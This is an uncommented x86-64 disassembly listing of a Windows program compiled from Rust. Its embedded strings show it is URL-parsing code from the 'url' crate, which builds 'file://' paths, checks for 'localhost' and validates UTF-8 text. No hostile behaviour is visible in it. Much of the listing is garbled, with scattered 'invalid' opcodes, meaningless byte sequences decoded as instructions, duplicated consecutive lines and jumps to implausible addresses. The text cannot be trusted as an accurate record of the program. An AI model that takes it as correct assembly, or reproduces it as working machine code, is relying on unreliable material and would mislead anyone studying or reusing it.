lea r15, [rcx + r14]
lea rdx, [0x140173118]
mov qword [rsp + 0x68], rcx
mov rcx, r15
call fcn.140106bb0
test eax, eax
je 0x1400fb49b
movzx r8d, byte [rsp + 0x3a]
mov r15, qword [rsp + 0x40]
mov r12d, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
jmp 0x1400fb3c0
jne 0x1400fb5aa
mov r8, rsi
sub r8, r14
add rcx, r14
lea rdx, [0x140173118]
call fcn.140106bb0
test eax, eax
movzx r8d, byte [rsp + 0x3a]
movzx eax, byte [rsp + 0x3a]
movzx eax, byte [rsp + 0x3a]
mov r15, qword [rsp + 0x40]
mov r12d, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
je 0x1400fb5de
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x78]
mov rdx, rbx
mov r9d, ebp
call fcn.1400fe540
mov eax, dword [rsp + 0x78]
cmp eax, 2
jne 0x1400fb429
movzx eax, byte [rsp + 0x7c]
mov byte [rdi + 8], al
movabs rax, 0x8000000000000000
mov qword [rdi], rax
cmp qword [rbx], 0
je 0x1400fb487
mov r8, qword [rbx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [rsp + 0x84]
mov rdx, qword [rsp + 0x7c]
mov r8, qword [rbx + 0x10]
mov qword [rdi + 0x10], r8
movups xmm0, xmmword [rbx]
movups xmmword [rdi], xmm0
mov dword [rdi + 0x18], eax
mov qword [rdi + 0x1c], rdx
sbb al, 0x89
and al, 0xf
mov bh, 0x44
and al, 0x4c
sbb al, 0x89
and al, 0xf
mov bh, 0x44
and al, 0x4c
mov word [rdi + 0x28], ax
movzx eax, word [rsp + 0x4e]
mov word [rdi + 0x2a], ax
mov dword [rdi + 0x2c], ebp
mov eax, dword [rsp + 0x60]
mov dword [rdi + 0x30], eax
mov eax, dword [rsp + 0x64]
mov dword [rdi + 0x34], eax
mov dword [rdi + 0x38], r12d
mov dword [rdi + 0x3c], esi
movups xmm0, xmmword [r15]
movups xmmword [rdi + 0x40], xmm0
movzx eax, byte [r15 + 0x10]
mov byte [rdi + 0x50], al
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x68]
lea rdx, [rax + rsi]
cmp byte [rsp + 0x3b], 0x2f
movzx r8d, byte [rsp + 0x3a]
mov r9, qword [rsp + 0x50]
jne 0x1400fb608
mov rcx, rax
lea rax, [rsi + 1]
mov r11, qword [rsp + 0x70]
cmp rax, r11
mov r10, r15
jae 0x1400fb4d4
cmp byte [rcx + rax], 0x2f
je 0x1400fb50c
test ebp, ebp
je 0x1400fb4e2
cmp byte [r10], 0xbf
jle 0x1400fb621
mov byte [r10], 0x3a
add rcx, r13
mov r8, r12
call fcn.140106530
mov r10, r15
add r13, r12
mov qword [rbx + 0x10], r13
add esi, 0xfffffffe
mov r11, r13
movzx r8d, byte [rsp + 0x3a]
mov r9, qword [rsp + 0x50]
test ebp, ebp
mov r12d, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x58]
je 0x1400fb546
cmp r11, r14
jbe 0x1400fb544
cmp byte [r10], 0xbf
jg 0x1400fb546
lea rax, [0x140173138]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x68]
mov rdx, r11
mov r8, r14
mov r9, r11
call fcn.140108ac0
jne 0x1400fb525
sub r11, r14
cmp r11, 3
jae 0x1400fb559
mov r15, qword [rsp + 0x40]
jmp 0x1400fb3c0
movzx eax, word [r10]
xor eax, 0x2f3a
movzx ecx, byte [r10 + 2]
xor ecx, 0x2f
or cx, ax
mov r15, qword [rsp + 0x40]
jne 0x1400fb3c0
lea rcx, str.assertion_failed:__self.serialization_scheme_end_as_usize.._.starts_with__:____
lea r8, [0x1401731a0]
mov edx, 0x4f
call fcn.140108630
mov r8d, 2
mov rcx, rbx
mov rdx, r15
call fcn.1401082e0
mov r12, qword [rbx + 8]
jmp 0x1400fb2db
lea rax, [0x140173100]
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, rsi
call fcn.140108ac0
lea rax, [0x1401731f0]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r15
mov r8, r14
mov r9, r15
call fcn.140108ac0
lea r8, [0x140173120]
mov rcx, rsi
mov rdx, rsi
call fcn.1401085b0
add byte [rax], al
lea rcx, str.assertion_failed:_self.is_char_boundary_idx_
lea r8, [0x140172a78]
mov edx, 0x2c
call fcn.140108630
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x78]
mov rcx, rdx
mov rdx, rax
call fcn.140111f20
lea rcx, str.assertion_failed:_self.is_char_boundary_n_
lea r8, [0x140172ac0]
mov edx, 0x2a
call fcn.140108630
int3
invalid
mov rax, qword [rdi + 8]
mov dword [rax + rdx + 3], 0x2f2f3a65
mov dword [rax + rdx], 0x656c6966
add rdx, 7
mov qword [rdi + 0x10], rdx
mov r14, rbx
sub r14, r12
je 0x1400fbcb1
xor esi, esi
mov eax, 0x2600
movabs rcx, 0x8000800800000000
xor r13d, r13d
xor r9d, r9d
mov rdx, r12
jmp 0x1400fb92f
inc rdx
mov r10d, 1
cmp r8d, 0x3f
ja 0x1400fb9c7
mov r11d, r8d
bt rax, r11
jae 0x1400fb9bd
mov sil, 1
add r9, r10
cmp rdx, rbx
je 0x1400fbbb2
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
jns 0x1400fb900
mov r10d, r8d
and r10d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400fb99d
movzx r8d, byte [rdx + 2]
shl ebp, 6
and r8d, 0x3f
or r8d, ebp
cmp r11b, 0xf0
jb 0x1400fba17
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl r8d, 6
and r11d, 0x3f
or r11d, r8d
or r11d, r10d
mov r8d, r11d
mov r10d, 1
cmp r8d, 0x3f
jbe 0x1400fb913
jmp 0x1400fb9c7
add rdx, 2
shl r10d, 6
or r10d, ebp
mov r8d, r10d
mov r10d, 1
cmp r8d, 0x3f
jbe 0x1400fb913
jmp 0x1400fb9c7
bt rcx, r11
jb 0x1400fbbb2
cmp r8d, 0x110000
je 0x1400fbbb2
cmp r8d, 0x5c
je 0x1400fbbb2
inc r13
cmp r8d, 0x80
jb 0x1400fb923
mov r10d, 2
cmp r8d, 0x800
jb 0x1400fb923
cmp r8d, 0x10000
mov r10d, 4
sbb r10, 0
jmp 0x1400fb923
add rdx, 3
shl r10d, 0xc
or r8d, r10d
mov r10d, 1
cmp r8d, 0x3f
jbe 0x1400fb913
jmp 0x1400fb9c7
mov r15, r14
jmp 0x1400fc170
test sil, 1
sete bpl
jne 0x1400fbe0a
mov r15, r12
test r13, r13
je 0x1400fc047
mov eax, 0x2600
mov r15, r12
jmp 0x1400fbbee
mov edx, ecx
cmp edx, 0x110000
jne 0x1400fbca3
cmp r15, rbx
je 0x1400fc044
movzx r10d, byte [r15]
movzx ecx, r10b
test cl, cl
js 0x1400fbc10
inc r15
cmp ecx, 0xd
jbe 0x1400fbc79
jmp 0x1400fbbe0
mov edx, ecx
and edx, 0x1f
movzx r11d, byte [r15 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x1400fbc61
movzx r8d, byte [r15 + 2]
shl r11d, 6
and r8d, 0x3f
or r8d, r11d
cmp r10b, 0xf0
jb 0x1400fbc8c
movzx ecx, byte [r15 + 3]
add r15, 4
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x1400fbc70
jmp 0x1400fc047
add r15, 2
shl edx, 6
or edx, r11d
mov ecx, edx
nop dword [rax]
cmp ecx, 0xd
ja 0x1400fbbe0
mov edx, 0x110000
bt eax, ecx
jb 0x1400fbbe2
jmp 0x1400fbbe0
add r15, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400fbc79
jmp 0x1400fbbe0
dec r13
jne 0x1400fbbee
jmp 0x1400fc047
xor r14d, r14d
mov eax, 1
mov r13b, 1
mov r15, rbx
jmp 0x1400fc21a
mov rax, qword [rdi + 8]
movabs rcx, 0x2f2f2f3a656c6966
mov qword [rax + rdx], rcx
add rdx, 8
mov qword [rdi + 0x10], rdx
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x70]
mov r9d, 7
mov rcx, rdi
xor edx, edx
call fcn.1400f9f40
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe540
mov eax, dword [rsp + 0x70]
cmp eax, 2
je 0x1400fc6da
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r14 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r14], xmm0
mov dword [r14 + 0x18], eax
mov qword [r14 + 0x1c], rdx
mov dword [r14 + 0x24], ecx
mov word [r14 + 0x28], 0
movaps xmm0, xmmword [0x140113b20]
movups xmmword [r14 + 0x2c], xmm0
mov dword [r14 + 0x3c], 7
mov byte [r14 + 0x40], 0
jmp 0x1400fcb6f
mov byte [rsp + 0xc0], bpl
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], 0
mov r15, r12
test r13, r13
je 0x1400fc077
lea r14, [rsp + 0x70]
mov ebp, 0x2600
mov r15, r12
dec r13
jmp 0x1400fbe5e
mov edx, eax
cmp edx, 0x110000
jne 0x1400fbf11
cmp r15, rbx
je 0x1400fc074
movzx r8d, byte [r15]
movzx eax, r8b
test al, al
js 0x1400fbe80
inc r15
cmp eax, 0xd
jbe 0x1400fbee9
jmp 0x1400fbe50
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400fbecc
movzx edx, byte [r15 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400fbefc
movzx eax, byte [r15 + 3]
add r15, 4
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
jne 0x1400fbee0
jmp 0x1400fc077
add r15, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
nop dword [rax + rax]
cmp eax, 0xd
ja 0x1400fbe50
mov edx, 0x110000
bt ebp, eax
jb 0x1400fbe52
jmp 0x1400fbe50
add r15, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400fbee9
jmp 0x1400fbe50
mov rcx, r14
call fcn.1400f6c10
test r13, r13
jne 0x1400fbe49
jmp 0x1400fc077
mov r15, rbx
test r9, r9
je 0x1400fc1a0
cmp r9, r14
jae 0x1400fc1f7
cmp byte [r12 + r9], 0xbf
jle 0x1400fcc3d
mov r8, r12
mov r14, r9
test r14, r14
jne 0x1400fc09a
jmp 0x1400fc209
mov r15, rbx
mov rcx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
movzx ebp, byte [rsp + 0xc0]
test r14, r14
je 0x1400fc209
cmp r14, 2
jne 0x1400fc0f1
movzx eax, byte [r8]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fc1b9
movzx eax, byte [r8 + 1]
cmp eax, 0x3a
je 0x1400fc0c3
cmp eax, 0x7c
jne 0x1400fc1b9
xor r14d, r14d
mov bpl, 1
test sil, 1
je 0x1400fca16
test rcx, rcx
je 0x1400fca16
mov eax, 1
mov qword [rsp + 0xc0], rax
mov r15, r12
jmp 0x1400fc23d
test r14, r14
js 0x1400fcc57
mov r13d, ebp
mov rbp, rcx
mov rsi, r8
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x1400fcc5c
mov r12, rsi
jmp 0x1400fc21a
mov rax, qword [rdi]
mov r14, qword [rdi + 0x10]
sub rax, r14
cmp rax, rbx
jae 0x1400fc80b
mov rcx, rdi
mov rsi, rdx
mov rdx, r14
mov r8, rbx
call fcn.140108ba0
mov rdx, rsi
mov r14, qword [rdi + 0x10]
jmp 0x1400fc80b
mov eax, 1
mov r13b, 1
xor r14d, r14d
jmp 0x1400fc21a
mov r13d, ebp
mov rbp, rcx
mov rsi, r8
movzx eax, byte [0x140182310]
mov r14d, 2
mov edx, 2
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400fcc8f
mov r8, rsi
movzx ecx, word [rsi]
mov qword [rsp + 0xc0], rax
mov word [rax], cx
jmp 0x1400fc233
jne 0x1400fcc3d
mov r8, r12
test r14, r14
jne 0x1400fc09a
mov r13d, ebp
mov rbp, rcx
mov eax, 1
mov rsi, r8
mov r12, r8
mov qword [rsp + 0xc0], rax
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.140106530
mov r8, rsi
test r13b, r13b
jne 0x1400fc24c
test rbp, rbp
je 0x1400fc24c
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x1400fc2a9
lea rcx, [rsp + 0x70]
mov r13, qword [rsp + 0xc0]
mov rdx, r13
mov r8, r14
call fcn.1400f56f0
mov rax, qword [rsp + 0x70]
movabs r12, 0x8000000000000002
movzx esi, byte [rsp + 0x78]
cmp rax, r12
jne 0x1400fc331
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0xc8]
mov byte [rcx + 8], sil
jmp 0x1400fc7d3
mov bpl, 1
xor r14d, r14d
mov qword [rsp + 0xb8], rax
mov r12, qword [rdi + 0x10]
mov rax, r12
shr rax, 0x20
jne 0x1400fc7c7
test r14b, r14b
setne byte [rsp + 0xd0]
test bpl, bpl
je 0x1400fc474
mov rax, r12
cmp r12, qword [rdi]
jne 0x1400fc2f0
mov rcx, rdi
call fcn.1400ba070
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2f
inc rax
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9f40
cmp byte [rsp + 0xd0], 0
jne 0x1400fc523
jmp 0x1400fc49c
movzx edx, sil
movzx ecx, byte [rsp + 0x7f]
shl ecx, 0x10
movzx r9d, word [rsp + 0x7d]
or r9d, ecx
mov r8d, dword [rsp + 0x79]
mov rcx, qword [rsp + 0x80]
shl r9, 0x28
shl r8, 8
or r8, r9
or r8, rdx
cmp rax, r12
jl 0x1400fc38b
cmp rcx, 9
jne 0x1400fc38b
movabs rdx, 0x736f686c61636f6c
xor rdx, qword [r8]
movzx r9d, byte [r8 + 8]
xor r9, 0x74
or r9, rdx
je 0x1400fc9f3
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r8
mov qword [rsp + 0xe0], rcx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xf0], rax
lea rax, [0x1400ff100]
mov qword [rsp + 0xf8], rax
lea rax, [0x140173648]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdx, [0x140172880]
lea r8, [rsp + 0x70]
mov rcx, rdi
call fcn.140013990
test al, al
jne 0x1400fcc14
mov rax, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
movabs rdx, 0x8000000000000001
add rdx, rax
xor ecx, ecx
cmp rax, r12
cmovl rcx, rdx
test rcx, rcx
mov qword [rsp + 0xe8], r8
je 0x1400fc75e
cmp rcx, 1
jne 0x1400fc76f
mov r14b, 2
mov qword [rsp + 0xb8], rcx
jmp 0x1400fc781
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
mov r9, r15
call fcn.1400ff900
cmp byte [rsp + 0xd0], 0
jne 0x1400fc523
cmp r12, 7
jb 0x1400fcc69
mov r9, qword [rdi + 0x10]
cmp r9, r12
jb 0x1400fcc7d
mov rcx, qword [rdi + 8]
cmp r9, 8
jb 0x1400fc4c7
cmp byte [rcx + 7], 0xbf
jle 0x1400fccd5
mov rbx, rdx
mov r15, rax
cmp r9, r12
jbe 0x1400fc4dd
cmp byte [rcx + r12], 0xbf
jle 0x1400fcced
lea rax, [rcx + 7]
add rcx, r12
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x70]
call fcn.1400113c0
mov r12d, 7
xor r14d, r14d
mov rax, r15
mov rdx, rbx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe540
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc561
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xc8]
mov byte [rcx + 8], al
jmp 0x1400fc7d3
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov r9, qword [rsp + 0xc8]
mov qword [r9 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r9], xmm0
mov dword [r9 + 0x18], eax
mov qword [r9 + 0x1c], rdx
mov dword [r9 + 0x24], ecx
mov word [r9 + 0x28], 0
movabs rax, 0x700000004
mov qword [r9 + 0x2c], rax
mov dword [r9 + 0x34], 7
mov dword [r9 + 0x38], r12d
mov dword [r9 + 0x3c], r12d
mov byte [r9 + 0x40], r14b
mov dword [r9 + 0x41], esi
mov rax, qword [rsp + 0xb8]
add byte [rax], al
add byte [rcx - 0x77], al
mov rax, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xe8]
add byte [rax], al
add byte [rcx - 0x77], al
mov rax, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xe8]
mov qword [r9 + 0x49], rax
jmp 0x1400fcb6f
cwde
invalid
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rdx
mov rdx, r14
xor r8d, r8d
call fcn.140108ac0
jne 0x1400fc609
je 0x1400fc622
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rbp
call fcn.140108ac0
jne 0x1400fc609
sub rbp, r8
add r14, r8
mov rax, qword [rdi]
mov r12, qword [rdi + 0x10]
sub rax, r12
cmp rax, rbp
jb 0x1400fcb84
invalid
invalid
add byte [rax], al
add rax, 0xffffffff8b480000
or byte [r9 + r8 - 0x1f], r9b
mov rcx, qword [rdi + 8]
add rcx, r12
mov rdx, r14
mov r8, rbp
call fcn.140106530
add r12, rbp
mov qword [rdi + 0x10], r12
adc byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rax + 0x41], al
adc byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rax + 0x41], al
movaps xmmword [rsp + 0x100], xmm0
mov r14, qword [rsp + 0xc8]
invalid
add byte [rbx - 0x17c223a], al
cmp dword [rdi + 0x18], esi
add esi, 0xffffffdd
cmp esi, 0x39
ja 0x1400fc690
movabs rax, 0x200000010001001
bt rax, rsi
jae 0x1400fc690
mov r13, qword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add dh, al
and al, 0x70
add byte [rax - 0x77], cl
pop rsp
and al, 0x28
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9f40
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400fe540
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc6ff
movzx eax, byte [rsp + 0x74]
mov byte [r14 + 8], al
movabs rax, 0x8000000000000000
mov qword [r14], rax
cmp qword [rdi], 0
jne 0x1400fc7ea
jmp 0x1400fcb6f
jo 0x1400fc701
add byte [rax], al
mov ecx, dword [rsp + 0x7c]
and al, 0x7c
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r14 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r14], xmm0
mov dword [r14 + 0x18], eax
mov qword [r14 + 0x1c], rdx
mov dword [r14 + 0x24], ecx
mov word [r14 + 0x28], 0
movabs rax, 0x700000004
mov qword [r14 + 0x2c], rax
mov dword [r14 + 0x34], 7
mov dword [r14 + 0x38], r12d
mov dword [r14 + 0x3c], r12d
mov byte [r14 + 0x40], r15b
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [r14 + 0x41], xmm0
jmp 0x1400fcb6f
test r8, r8
setne r14b
mov qword [rsp + 0xb8], rcx
add byte [rax], al
add byte [rax], al
jmp 0x1400fc781
mov rcx, rsi
shr rcx, 0x20
mov qword [rsp + 0xb8], rcx
mov r14b, 3
cmp rax, r12
jl 0x1400fc79d
test rax, rax
test eax, eax
je 0x1400fc79d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
mov rcx, qword [0x140182260]
or eax, 0x85aba
pop rdx
or byte [rax], al
xor edx, edx
mov r8, qword [rsp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rdi + 0x10]
mov rax, r12
loopne 0x1400fc806
shr eax, 0x20
loopne 0x1400fc806
shr eax, 0x20
call 0x14193d6e4
and byte [rdi], cl
test byte [rcx], al
je 0x1400fc2c8
sti
invalid
mov rcx, qword [rsp + 0xc8]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rdi], 0
add byte [rax + 0x48018948], al
cmp dword [rdi], 0
je 0x1400fcb6f
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400fcb6f
mov esi, dword [rdi + 0x10]
xor ebx, ebx
fisttp dword [rax - 0x75]
or byte [r9 + r8 - 0xf], r9b
mov rcx, qword [rdi + 8]
add rcx, r14
mov r8, rbx
mov eax, ebx
call fcn.140106530
popfq
add byte [rax], al
add r14, rbx
mov qword [rdi + 0x10], r14
mov eax, dword [rbp + 0x3c]
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], r14
mov rcx, qword [rbp + 0x18]
mov qword [r15 + 0x18], rcx
mov dword [r15 + 0x20], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov ecx, dword [rbp + 0x28]
mov dword [r15 + 0x28], ecx
movups xmm0, xmmword [rbp + 0x2c]
movups xmmword [r15 + 0x2c], xmm0
movups xmmword [rdi + 0x2c], xmm0
movups xmmword [rdi + 0x2c], xmm0
mov dword [r15 + 0x3c], eax
movzx eax, byte [rbp + 0x50]
mov byte [r15 + 0x50], al
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [r15 + 0x40], xmm0
jmp 0x1400fcb6f
add byte [rax], al
add byte [rax], al
je 0x1400fba8c
lea rcx, [0x140172f18]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, rbx
call fcn.140108ac0
mov rsi, r15
cmp dword [rbp + 0x20], 0
je 0x1400fca37
mov r15, r14
lea rax, [rbp + 0x24]
mov r14d, dword [rax]
mov rdx, qword [rbp + 8]
test r14, r14
je 0x1400fca42
mov rax, qword [rbp + 0x10]
cmp rax, r14
jbe 0x1400fc9e8
cmp byte [rdx + r14], 0xbf
jg 0x1400fca42
jmp 0x1400fccb8
invalid
mov edx, dword [rdi + 0x10]
jmp 0x1400fbd56
push rdi
adc cl, ch
invalid
popfq
out dx, eax
invalid
jmp 0x1400fb8af
sub eax, esp
cmp rax, r14
jb 0x1400fcb9b
invalid
mov rcx, qword [rdi + 8]
add rcx, r12
mov r8, r14
call fcn.140106530
add r12, r14
mov qword [rdi + 0x10], r12
mov rsi, rbp
mov ebp, dword [rbp + 0x2c]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, ebp
call fcn.1400fe540
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fc99a
movzx eax, byte [rsp + 0x74]
mov byte [r15 + 8], al
movabs rax, 0x8000000000000000
mov qword [r15], rax
cmp qword [rdi], 0
jne 0x1400fc7ea
jmp 0x1400fcb6f
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r15 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
mov eax, dword [rsi + 0x28]
sub byte [rcx - 0x77], r8b
sub byte [r9 - 0x77], r8b
outsd dx, dword [rsi]
sub al, 0xf
adc byte [rsi + 0x30], al
movups xmmword [r15 + 0x30], xmm0
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [r15 + 0x40], xmm0
movzx eax, byte [rsi + 0x50]
movzx eax, byte [rsi + 0x50]
mov byte [r15 + 0x50], al
jmp 0x1400fcb6f
invalid
add byte [rdi], cl
test edx, ecx
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
jne 0x1400fccb8
mov r14, rax
jmp 0x1400fca42
mov bpl, 1
test rax, rax
je 0x1400fcbb8
invalid
add dword [rax], eax
invalid
mov rcx, qword [0x140182260]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400fcbbb
mov qword [rsp + 0xb8], rax
mov r15, r12
mov r12, qword [rdi + 0x10]
adc byte [ecx + ecx*4 - 0x20], cl
adc byte [ecx + ecx*4 - 0x20], cl
shr rax, 0x20
je 0x1400fc2c8
jmp 0x1400fc7c7
mov r15, r14
mov rdx, qword [rbp + 8]
mov r14, qword [rbp + 0x10]
mov rax, qword [rdi]
mov r13, qword [rdi + 0x10]
sub rax, r13
cmp rax, r14
invalid
jb 0x1400fcbc8
invalid
mov rcx, qword [rdi + 8]
add rcx, r13
jmp 0x1290053ad
int3
invalid
add byte [rax], al
add r13, r14
mov qword [rdi + 0x10], r13
mov r12d, dword [rbp + 0x3c]
mov rax, r13
jmp 0x1290053ad
sub rax, r12
mov r14, r15
je 0x1400fcabf
mov rcx, qword [rdi + 8]
test r12d, r12d
test esp, esp
test esp, esp
je case.0x1400b958a.1296
cmp r13, r12
jbe 0x1400fcc9e
cmp byte [rcx + r12], 0xbf
jle 0x1400fcc9e
cmp rax, 2
jne 0x1400fcab2
movzx eax, byte [rcx + r12]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fcab2
cmp byte [rcx + r12 + 1], 0x3a
je 0x1400fcabf
mov rcx, rdi
xor edx, edx
mov r8, r12
call fcn.1400feba0
mov byte [rsp + 0x70], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400f9f40
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r9d, dword [rbp + 0x2c]
mov ecx, dword [rbp + 0x30]
mov r8d, dword [rbp + 0x34]
mov r10d, dword [rbp + 0x38]
lea r11, [rbp + 0x40]
movzx esi, word [rbp + 0x28]
movzx edi, word [rbp + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
mov rcx, r14
xor r8d, r8d
call fcn.1400fb120
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, r12
mov r8, rbp
call fcn.140108ba0
mov r12, qword [rdi + 0x10]
jmp 0x1400fc63b
mov rcx, rdi
mov rsi, rdx
mov rdx, r12
mov r8, r14
call fcn.140108ba0
mov rdx, rsi
mov r12, qword [rdi + 0x10]
jmp 0x1400fc933
xor r14d, r14d
xor esi, esi
